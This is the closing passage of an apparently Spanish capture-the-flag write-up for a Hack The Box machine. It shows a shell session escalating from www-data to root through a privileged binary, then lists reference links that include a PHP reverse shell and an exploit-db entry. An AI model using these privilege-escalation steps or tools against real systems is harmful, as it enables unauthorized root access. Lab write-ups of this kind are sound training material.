Mmmm ¿Root? Ósea que, si lo ejecutamos, ¿seremos Root? Hagámoslo:
www-data@bank:/$ ./var/htb/bin/emergency
./var/htb/bin/emergency
# whoami
whoami
root
# cd /root
cd /root
# ls
ls
root.txt
a…Bueno, ya quedaron todas las flags.
Links de Investigación
- https://linube.com/ayuda/articulo/267/que-es-un-virtualhost
- https://www.reydes.com/d/?q=Solicitar_una_Transferencia_de_Zona_utilizando_el_Script_dns_zone_transfer_de_Nmap
- https://www.welivesecurity.com/la-es/2015/06/17/trata-ataque-transferencia-zona-dns/
- https://www.hostinger.mx/tutoriales/comando-dig-linux https://www.ecured.cu/Html2text
- https://tecnonautas.net/como-usar-curl-para-descargar-archivos-y-paginas-web/
- https://itsfoss.com/es/descargar-archivos-desde-terminal-linux/ https://atareao.es/tutorial/terminal/filtros-awk-grep-sed-y-cut/
- https://geekland.eu/uso-del-comando-awk-en-linux-y-unix-con-ejemplos/
- https://www.enmimaquinafunciona.com/pregunta/67844/uso-de-sed-para-eliminar-digitos-y-espacios-en-blanco-de-una-cadena
- https://github.com/pentestmonkey/php-reverse-shell https://pentestmonkey.net/tools/web-shells/php-reverse-shell
- https://www.exploit-db.com/exploits/43418 https://openwebinars.net/blog/wget-descargas-desde-linea-de-comandos/
- https://www.enmimaquinafunciona.com/pregunta/75153/inicio-de-sesion-interactivo-y-no-interactivo-shell
- https://esgeeks.com/post-explotacion-transferir-archivos-windows-linux/#http